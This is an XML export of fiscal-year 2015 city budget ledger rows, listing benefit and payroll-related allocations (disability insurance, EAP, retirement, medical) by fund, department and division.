<row _id="14858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1058196.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1058196.0</total></row>
<row _id="14859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>691.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>691.0</total></row>
<row _id="14860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1033.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1033.0</total></row>
<row _id="14861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6172.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6172.0</total></row>
<row _id="14862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>56974.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56974.0</total></row>
<row _id="14863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3716.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3716.0</total></row>
<row _id="14864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2070.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2070.0</total></row>
<row _id="14866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18759.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18759.0</total></row>
<row _id="14867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3300.0</total></row>
<row _id="14868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="14869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3591.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3591.0</total></row>
<row _id="14870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>467.0</total></row>
<row _id="14871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6697.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6697.0</total></row>
<row _id="14872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17438.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17438.0</total></row>
<row _id="14873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5059.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5059.0</total></row>
<row _id="14874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3992.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3992.0</total></row>
<row _id="14875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5989.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5989.0</total></row>
<row _id="14876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2395.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2395.0</total></row>
<row _id="14877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1510.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1510.0</total></row>
<row _id="14878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16370.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16370.0</total></row>
<row _id="14879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11272.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11272.0</total></row>
<row _id="14880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>75090.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75090.0</total></row>
<row _id="14881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38793.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38793.0</total></row>
<row _id="14882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18031.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18031.0</total></row>
<row _id="14883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1562.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1562.0</total></row>
<row _id="14884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2721.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2721.0</total></row>
<row _id="14885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>314.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>314.0</total></row>
<row _id="14886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>679.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>679.0</total></row>
<row _id="14887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2366.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2366.0</total></row>
<row _id="14888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4581.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4581.0</total></row>
<row _id="14889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5701.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5701.0</total></row>
<row _id="14890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1767.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1767.0</total></row>
<row _id="14891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1977.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1977.0</total></row>
<row _id="14892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>833.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>833.0</total></row>
<row _id="14893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>227147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>227147.0</total></row>
<row _id="14894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>287021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>287021.0</total></row>
<row _id="14895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>48569.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48569.0</total></row>
<row _id="14896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>137190.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>137190.0</total></row>
<row _id="14897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>222771.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>222771.0</total></row>
<row _id="14898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>293105.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>293105.0</total></row>
<row _id="14899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9209.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9209.0</total></row>
<row _id="14900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14501.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14501.0</total></row>
<row _id="14901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>21075.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21075.0</total></row>
<row _id="14902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>729.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>729.0</total></row>
<row _id="14903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D[</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2106.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2106.0</total></row>
<row _id="14904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>985.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>985.0</total></row>
<row _id="14905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3148.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3148.0</total></row>
<row _id="14906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1148.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1148.0</total></row>
